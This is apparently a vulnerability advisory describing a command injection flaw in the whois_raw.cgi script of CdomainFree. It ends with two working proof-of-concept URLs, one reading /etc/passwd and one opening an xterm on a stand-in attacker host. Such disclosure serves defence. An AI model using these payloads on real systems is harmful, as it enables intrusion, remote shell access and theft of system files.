source: http://www.securityfocus.com/bid/304/info

A vulnerability in a CGI program part of CdomainFree allows remote malicious users to run any executable already existing to the machine.

The vulnerability is in the whois_raw.cgi program. This CGI passes user input to the shell without proper filtering. None of the Cdomain commercial version (e.g. CdomainPro) are vulnerable as they connect the the whois servers directly. 

http://www.example.com/cgi-bin/whois_raw.cgi?fqdn=%0Acat%20/etc/passwd
http://www.example.com/cgi-bin/whois_raw.cgi?fqdn=%0A/usr/X11R6/bin/xterm%20-display%20evil.example.com:0